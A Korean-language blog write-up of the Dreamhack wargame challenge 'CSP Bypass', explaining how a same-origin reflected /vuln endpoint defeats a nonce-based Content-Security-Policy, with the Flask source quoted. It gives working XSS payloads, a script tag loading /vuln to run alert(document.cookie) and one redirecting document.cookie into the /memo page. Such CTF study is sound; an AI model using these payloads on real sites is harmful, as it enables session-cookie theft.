CTF, War game

[Dreamhack] Level 2: CSP Bypass

mnzy๐ŸŒฑ 2024. 5. 5. 18:23

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/435

 

CSP Bypass

Description Exercise: CSP Bypass์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.08.07 Dockerfile ์ œ๊ณต

dreamhack.io

2. ํ•ด๊ฒฐ ๊ณผ์ •

์ฝ”๋“œ ์ค‘ add_header ๋ถ€๋ถ„์—์„œ ์‘๋‹ต๊ฐ’์— CSP๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

  • default-src 'self': ๊ธฐ๋ณธ์ ์œผ๋กœ ๋™์ผ ์ถœ์ฒ˜(d ๊ฐ™์€ ๋„๋ฉ”์ธ)์˜ ๋ฆฌ์†Œ์Šค๋งŒ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • img-src https://dreamhack.io: ์ด๋ฏธ์ง€๋Š” https://dreamhack.io ๋„๋ฉ”์ธ์—์„œ๋งŒ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • style-src 'self' 'unsafe-inline': CSS๋Š” ๋™์ผ ์ถœ์ฒ˜์—์„œ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ธ๋ผ์ธ ์Šคํƒ€์ผ๋„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค('unsafe-inline').
  • script-src 'self' 'nonce-{nonce}': ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋Š” ๋™์ผ ์ถœ์ฒ˜์—์„œ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, nonce ์†์„ฑ์ด ์ผ์น˜ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 
  • nonce = os.urandom(16).hex(): nonce ๊ฐ’์„ ๊ฐฑ์‹ ํ•ฉ๋‹ˆ๋‹ค. os.urandom(16)์€ 16๋ฐ”์ดํŠธ์˜ ๋žœ๋ค ๋ฐ”์ดํŠธ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , .hex()์€ ์ด๋ฅผ 16์ง„์ˆ˜ ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ƒˆ๋กœ์šด nonce ๊ฐ’์€ ๋‹ค์Œ ์š”์ฒญ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response

 

 

vuln๊ณผ memo ์—”๋“œํฌ์ธํŠธ๋Š” ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์„ ํŽ˜์ด์ง€์— ์ถœ๋ ฅํ•œ๋‹ค.

memo ๋Š” render_template ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด memo.html ์„ ์ถœ๋ ฅํ•œ๋‹ค. render_template ํ•จ์ˆ˜๋Š” ์ „๋‹ฌ๋œ ํ…œํ”Œ๋ฆฟ ๋ณ€์ˆ˜๋ฅผ ๊ธฐ๋กํ•  ๋•Œ HTML ์—”ํ‹ฐํ‹ฐ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•ด ์ €์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— XSS ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ vuln ์€ ์ด์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ ํŽ˜์ด์ง€์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— XSS ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

...

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)

 

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋Š” ๋™์ผ ์ถœ์ฒ˜์—์„œ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ํ˜„์žฌ ๊ฒฝ๋กœ๋ฅผ ํฌํ•จ์‹œ์ผœ alert(1)์„ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

<script src="./vuln?param=alert(document.cookie)"></script>

 

์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

์ด๋ฅผ ๋ณ€ํ˜•ํ•˜์—ฌ ์ฟ ํ‚ค๊ฐ’์„ memoํŽ˜์ด์ง€์— ์ถœ๋ ฅ๋˜๋„๋ก ํ•  ๊ฒƒ์ด๋‹ค. 

 

<script src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></script>

 

-> %2b๋Š” URL ์ธ์ฝ”๋”ฉ๋œ + ๋ฌธ์ž์ด๋‹ค.

URL์—์„œ + ๋ฌธ์ž๋Š” ๊ณต๋ฐฑ์„ ์˜๋ฏธํ•˜๋Š”๋ฐ, ์—ฌ๊ธฐ์„œ %2b๋ฅผ ์‚ฌ์šฉํ•œ ์ด์œ ๋Š” URL์ด ๋””์ฝ”๋”ฉ๋˜๋Š” ๊ณผ์ •์—์„œ +๊ฐ€ ๊ณต๋ฐฑ์œผ๋กœ ๋ณ€ํ™˜๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ์ด๋‹ค. 

 

์„ฑ๊ณต